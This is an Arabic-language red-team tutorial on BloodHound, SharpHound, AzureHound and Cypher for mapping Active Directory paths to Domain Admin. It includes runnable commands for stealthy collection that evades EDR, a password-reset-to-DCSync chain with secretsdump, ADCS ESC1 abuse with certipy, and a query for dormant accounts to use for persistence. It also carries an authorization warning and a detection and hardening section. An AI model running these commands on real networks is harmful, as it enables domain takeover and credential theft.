الفرق الحمراء — الهجومخبير100mL37

BloodHound Mastery — لو معرفتش تستخدمه يبقى مش شغّال

SharpHound و AzureHound و Cypher — مسارات للـ Domain Admin

#BloodHound#AD#Cypher#SharpHound#Azure

إيه هو BloodHound — وليه غيّر AD pentesting للأبد؟

تشبيه — شرح مبسط
إنت داخل دومين فيه 10 آلاف user و 500 سيرفر. - طب أعمل إيه يا حضرتك؟؟ أفحص ACLs بإيدي؟ أقرا 38 GPO ورا بعض؟ ها ها ها يا نجم الجيل.. ده شغل سنة. ولو خلصت، هيكون الدومين اتغيّر. Active Directory زي مدينة فيها عشرات الآلاف من الموظفين والأبواب والبطاقات. قبل BloodHound، المهاجم كان بيفحص باب واحد في المرة. مع BloodHound، إنت بتحمل المدينة كلها في graph database وتسأله: "إيه أقصر طريق من الباب الجانبي ده لمكتب الـ CEO؟" — وهو يرسم السلسلة كاملة بكليك. Andy Robbins و Will Schroeder و Rohan Vazarkar نشروه في DEFCON 24 (2016). من ساعتها، أي AD assessment محترفة بتبدأ بـ SharpHound. مش "أداة من ضمن الأدوات" — هو الأداة.
اللي بيحصل فعلياً
BloodHound بيلم كم رهيب من بيانات الـ AD. تشغيله على domain من غير تفويض = جريمة فيدرالية. استخدمه في pentest معاك فيه عقد، أو في معمل AD محلي (HTB Pro Labs، GOAD، VulnLab). مش مكسوف من السؤال — اسأل قبل ما تشغّل.
اوعى تعمل الغلطات دي
  • يشغّل SharpHound -c All في بيئة عميل من أول ثانية. الـ EDR بيولّع في 30 ثانية.
  • يستخدم الـ pre-built queries بس وما يكتبش Cypher. الـ pre-built بيغطي 30٪ بس من الحالات الحقيقية.
  • ما يضغطش "Mark as Owned" على اليوزرز اللي خرقهم، فيفضل يرسم الجراف من الصفر كل مرة.
  • ينسى الـ trusts. الـ child-domain trust = forest pivot جاهز، وهو مش شايفه.

BloodHound CE (Community Edition) هو الـ standard الحالي (2024+) — حل محل النسخة القديمة Legacy. النظام client-server: SharpHound/AzureHound بيلم، وBloodHound CE بيحلل ويرسم.

مكونات النظام — اعرف القطع قبل ما تشغل أي حاجة

  • SharpHound (.NET): الـ collector لـ on-prem Active Directory. بيشتغل من جهاز مربوط بالـ domain (أو من لينكس مع credentials).
  • AzureHound (Go): الـ collector لـ Azure AD / Entra ID. بيقرا Microsoft Graph + ARM APIs.
  • BloodHound CE: التطبيق اللي بيستورد الـ JSON ويعرض الجراف.
  • Neo4j: قاعدة بيانات الجراف اللي تحت. مش بتتعامل معاها مباشرة في الغالب، بس تقدر تستعلم منها بـ Cypher.
  • الـ "Edges": العلاقات (MemberOf, AdminTo, GenericAll, ForceChangePassword, …) — دي قلب التحليل كله.

تركيب BloodHound CE — Docker (الأسرع)

bash
# يتطلب Docker + Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose
docker compose pull
docker compose up
# افتح http://localhost:8080
# username: admin, password يُطبع في log أول تشغيل
docker logs bloodhound 2>&1 | grep "Initial Password"
ملاحظة سريعة

BloodHound CE حل محل BloodHound Legacy. لو لقيت دروس قديمة بتقولك BloodHound.exe، دي legacy. الـ CE web-based وأكثر استقراراً بكتير.

جمع البيانات — SharpHound

01
التشغيل من جهاز Windows في الـ domain
powershell
# نزّل SharpHound من https://github.com/SpecterOps/SharpHound/releases
# أو ضمن BloodHound CE → File Ingest → Download collector

# الافتراضي: كل شيء عدا session enumeration
SharpHound.exe -c All

# التفاصيل:
# DCOnly      — فقط معلومات DC، لا يلمس أي جهاز آخر (الأقل ضوضاء)
# Default     — DC + group memberships + sessions + local admin
# All         — كل شيء (الأعلى تغطية، الأكثر ضوضاء)
# Session     — من الذي يسجّل دخول أين الآن
# LoggedOn    — مثل Session لكن أكثر دقة (يحتاج local admin)
# ACL         — العلاقات الأهم — اجمعها دائماً
02
من Linux (لا يلزم وجود الجهاز في الـ domain)
bash
# bloodhound.py — Python alternative
pip install bloodhound
bloodhound-python -d corp.local -u user -p 'Pass!23' \
  -c all -ns 10.10.10.10 --zip
# يخرج .zip جاهز للرفع
03
OPSEC وقت الجمع
  • --Stealth: بيقلل الضوضاء، بيتفادى الـ collection methods اللي بتستفز الـ EDR.
  • --JitterPercent 30 --Throttle 1000: عشوائية + تأخير بين الطلبات.
  • --ExcludeDomainControllers: متفحصش الـ DCs مباشرة — ممكن تستفز ATA / Defender for Identity.
  • ابعد عن All في بيئة حساسة: -c DCOnly,Group,LocalGroup,GPOLocalGroup,Trusts,ACL أهدا.
  • ابدأ بـ DCOnly: لو عدّى من غير ما حد يحس، وسّع تدريجياً.
04
الرفع لـ BloodHound
text
BloodHound CE → زرار "File Ingest" → اسحب وأفلت الـ .zip
أو في legacy: ادخل واجهة Neo4j → Upload Data → اختار ملفات الـ JSON
وقت الانتظار: domain متوسط ~15-30 دقيقة عشان يتعمل import

جمع Azure — AzureHound

bash
# Linux/Windows، Go binary
azurehound list -u 'user@tenant.onmicrosoft.com' -p 'Pass!' \
  --tenant abcd-efgh-... -o azure.json

# أو بـ refresh token (أكثر صمتاً)
azurehound -r '<refresh_token>' --tenant ... list

# يجمع: users, groups, apps, service principals, role assignments, devices, subscriptions, RGs
ليه Azure مهم
BloodHound بيكشف pivots حقيقية في Azure زي: service principal معاه role في tenant تاني، أو nested group membership عن طريق external invite، أو subscription Owner عن طريق cross-tenant trust. الحاجات دي مش هتلاقيها إلا بالـ graph traversal.

الاستعلامات الجاهزة — أول 20 محتاج تعرفها

في BloodHound اضغط Search → Pre-built Queries:

Quick Wins
  • Find all Domain Admins
  • Find Shortest Paths to Domain Admins
  • Find Principals with DCSync Rights
  • Find Computers where Domain Users are Local Admin
  • Find Kerberoastable Users with Path to DA
  • Find AS-REP Roastable Users (DontReqPreAuth)
Big Lateral Movement
  • Find Computers with Unsupported OS
  • Shortest Paths from Owned Principals
  • Find users with Constrained Delegation
  • Find computers with Unconstrained Delegation
  • Find ADCS abuse paths (ESC1-15)
  • Find LAPS read access
Sneaky / Cleanup
  • Find Disabled accounts that are Kerberoastable
  • Find PrincipalsWith DangerousACE on the Domain
  • Find owned objects (mark as red)
  • Find sessions of Domain Admins on non-DC
Azure
  • Find Global Admins
  • Service Principals with Microsoft Graph
  • Apps with dangerous Graph permissions
  • Path from on-prem to Azure (hybrid escapes)

Cypher — اللغة السرّية لـ BloodHound

تشبيه — شرح مبسط
SQL بيقولك: "هاتلي صفوف". Cypher بيقولك: "ارسملي شكل". جداول vs جراف. أي محترف في BloodHound بيكتب Cypher، لأن الاستعلامات الجاهزة بتغطي 30% بس من الحالات الحقيقية.
cypher
// 1) كل المسارات من user محدد إلى Domain Admins
MATCH p=shortestPath((u:User {name:"BOB@CORP.LOCAL"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN p

// 2) أين له Domain User صلاحية write على computer
MATCH p=(u:User {name:"DOMAIN USERS@CORP.LOCAL"})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddMember]->(c:Computer)
RETURN p

// 3) Kerberoastable + path لـ DA — السلاح الأقوى
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
RETURN u.name, p
ORDER BY length(p)

// 4) كل المستخدمين الذين لا يتطلبون Pre-Auth (AS-REP roastable)
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.enabled

// 5) كل GPOs و من يحرّرها — تعديل GPO = code execution على آلاف الأجهزة
MATCH p=(s)-[r:GenericAll|GenericWrite|WriteOwner]->(g:GPO)
RETURN p

// 6) مسارات من جهاز "owned" (علّمته red) لأي high-value target
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(t {highvalue:true}))
RETURN p LIMIT 50

// 7) مستخدمين لم يسجّلوا دخول منذ 6 شهور — حسابات نائمة جيدة لـ persistence
MATCH (u:User)
WHERE u.lastlogon < (timestamp()/1000 - 15768000)
  AND u.enabled = true
RETURN u.name, u.lastlogon
ORDER BY u.lastlogon

الـ Edges — أهم 15 لازم تحفظهم

عضويات و ACL
  • MemberOf: عضوية مجموعة. الـ traversal الأساسي.
  • AdminTo: لـ user/group صلاحية local admin على computer.
  • GenericAll: تحكّم كامل بالـ object — أقوى ACL.
  • GenericWrite: كتابة معظم attributes.
  • WriteOwner: تستطيع جعل نفسك المالك ثم تعطي نفسك GenericAll.
  • WriteDacl: تعديل ACL → اعطِ نفسك أي صلاحية.
Kerberos abuse
  • AllowedToDelegate: Constrained Delegation.
  • AllowedToAct: RBCD (resource-based constrained delegation).
  • HasSession: مستخدم مسجّل دخول هنا → احصد NTLM/Kerberos cache.
استعادة كلمات المرور
  • ForceChangePassword: غيّر كلمة سر مستخدم آخر بدون معرفة القديمة.
  • AddMember: أضف نفسك لمجموعة قوية.
  • ReadLAPSPassword: اقرأ كلمة سر local admin من LAPS.
  • ReadGMSAPassword: اقرأ كلمة سر gMSA.
Tier-0 / Domain control
  • DCSync: اقرأ كل hashes من DC — game over.
  • GetChangesAll: نفس الشيء (تركيبة من Replication permissions).
  • SyncLAPSPassword: قراءة LAPS عبر AD replication.

سيناريو حقيقي — من Domain User لـ Domain Admin في 4 خطوات

01
Mark as Owned

لقطت hash لـ jsmith عن طريق Responder. كليك يمين عليه في BloodHound → Mark User as Owned.

02
Shortest Path from Owned

شغّل الاستعلام الجاهز "Shortest Paths from Owned Principals". هتشوف:

text
jsmith → MemberOf → IT-SUPPORT
IT-SUPPORT → ForceChangePassword → svc_backup
svc_backup → MemberOf → BACKUP_OPERATORS
BACKUP_OPERATORS → DCSync → CORP.LOCAL
03
نفّذ السلسلة
bash
# 1) jsmith → غيّر باسورد svc_backup
net user svc_backup NewP@ss123 /domain
# أو عن طريق Set-DomainUserPassword (PowerView)
Set-DomainUserPassword -Identity svc_backup -AccountPassword (ConvertTo-SecureString 'NewP@ss123' -AsPlainText -Force)

# 2) سجل دخول كـ svc_backup → نفذ DCSync
secretsdump.py CORP/svc_backup:'NewP@ss123'@DC.CORP.LOCAL -just-dc

# النتيجة: كل NTLM hashes في الدومين → بما فيهم krbtgt → Golden Ticket للأبد
04
نظّف وراك

رجّع باسورد svc_backup للقيمة الأصلية لو قدرت. وثّق كل خطوة في التقرير. متسبش ticketing artifacts.

اكتبها على المكتب: المهاجم اللي بينضف وراه = اللي بيرجع تاني الشهر الجاي. اللي بيسيب فوضى = هيتمسك مرة وخلاص.

ADCS — ESC1 لـ ESC15 عن طريق BloodHound

BloodHound CE بيكشف كل الـ ESC paths أوتوماتيك عن طريق edges مخصصة:

  • ADCSESC1: قالب يسمح بـ SAN spoofing → certificate كأي مستخدم.
  • ADCSESC3: enrollment agent template → اطلب cert نيابة عن DA.
  • ADCSESC4: vulnerable ACL على template.
  • ADCSESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 على CA.
  • ADCSESC7-9: NTLM relay → CA endpoints.
  • ADCSESC13: OID group link abuse.
bash
# الاستغلال بعد الكشف:
# Certipy (الأداة الموحّدة)
certipy find -u user@corp.local -p Pass! -dc-ip 10.0.0.1 -vulnerable
certipy req -u user@corp.local -p Pass! -ca CORP-CA \
  -template VulnTemplate -upn administrator@corp.local
# نتيجة: cert يصادق كـ administrator → DA

نصايح احترافية الـ Red Teams بيستخدموها

  1. اجمع الداتا قبل ما تحتاجها: شغّل SharpHound أول الـ engagement حتى لو معرفش هتعمل بيها إيه.
  2. استورد على instance خاص: متخلطش بيانات الـ clients ببعض. Docker لكل engagement.
  3. اضغط على نود واختار "Set as Starting Node" + "Set as Ending Node" → "Pathfinding".
  4. "Mark as High Value" للأنظمة الحساسة (file servers، Exchange، PKI، Tier-0). الـ Pathfinding بيفضّلها.
  5. استخدم تبويب "Analysis" — fan-out / fan-in counts بتكشف الـ bottlenecks في الـ AD.
  6. Custom queries.json: احفظ الـ Cypher بتاعتك عشان تستخدمها عبر engagements.
  7. تابع الـ "Outbound Object Control" لكل user بتخترقه — هو يقدر يلمس إيه؟
  8. BloodHound + ldapdomaindump: مكملين بعض، الـ ldapdomaindump أسرع للملخصات النصية.
  9. متنساش الـ trusts: ناس كتير بتسيبها، لكن child domain trust = forest pivot.
  10. قبل أي حركة: Cypher بيقولك أقصر طريق. متتحركش أعمى. كل group بتنضم لها = ضوضاء.

من جهة الحماية — هتتمسك إزاي؟

إشارات تشغيل SharpHound
  • كم هائل من LDAP queries من جهاز واحد في وقت قصير.
  • SMB sessions على كل host في الدومين (lateral session enumeration).
  • Microsoft Defender for Identity بيرفع تنبيه "Reconnaissance using directory services queries".
  • Honey objects: حساب وهمي بـ SPN مغري → لو اتعمل له Kerberoast = مهاجم بنسبة 100%.
  • تغييرات ACL غير معتادة، خصوصاً على gMSA وLAPS-readable groups.

الحماية — هندسة AD صعب على BloodHound

مرجع دفاعي عملي
  1. Tier model صارم: Tier-0 (DC, ADCS, Entra Connect)، Tier-1 (servers)، Tier-2 (workstations). مفيش login عبر الـ tiers.
  2. LAPS لكل local admin: كل جهاز معاه باسورد فريد، بيتغير دورياً.
  3. Kerberoast hardening: gMSA لكل service account، اقفل RC4، AES بس.
  4. ADCS hardening: راجع كل template، اقفل SAN في user templates، خلي EDITF_ATTRIBUTESUBJECTALTNAME2 مقفول.
  5. Constrained delegation بس — مفيش Unconstrained على أي host.
  6. راقب تغييرات الـ ACL على objects قيّمة — تنبيه فوري.
  7. Privileged Access Workstations (PAW) لـ Tier-0 admins.
  8. شغّل BloodHound على نفسك دورياً — اعرف الـ paths قبل المهاجم.
  9. Microsoft Defender for Identity (مدفوع) — بيكشف أغلب تكنيكات BloodHound + Kerberoast + DCSync.

الخلاصة الناشفة

BloodHound مش "أداة من ضمن الأدوات".
هو اللي بيحوّل الـ AD من "غابة مظلمة" لـ "خريطة طرق".

المستجد بيفتح BloodHound، يدوس Find Shortest Path، ياخد screenshot، خلاص.
المحترف بيقعد ساعتين يكتب Cypher. يعرف الـ bottlenecks. يعرف اليوزرز اللي محدش فاكرهم. يعرف الـ trusts المنسية. وبيدخل سكة محدش شافها.

لو إنت blue team؟ اكتبها على الحيطة اللي في وش السرير: شغّل BloodHound على نفسك. كل شهر.
لو لقيت Domain User بيوصل لـ DA في 4 خطوات، الفجوة موجودة. ما تستناش حد يستغلها.

اللي بتشوفه إنت في الجراف، المهاجم شافه قبلك بشهر.

مصادر للإتقان

  • BloodHound Docs: bloodhound.specterops.io — رسمي و محدّث.
  • SpecterOps blog: مقالات عميقة من المطوّرين.
  • HTB Pro Labs (Dante, Offshore, RastaLabs): AD environments واقعية.
  • GOAD (Game of Active Directory): مختبر مجاني يُنشأ بـ Vagrant.
  • SANS SEC560/SEC565: تدريبات احترافية.
  • كتاب The Hacker Playbook 3 + Pentesting Active Directory by SpecterOps.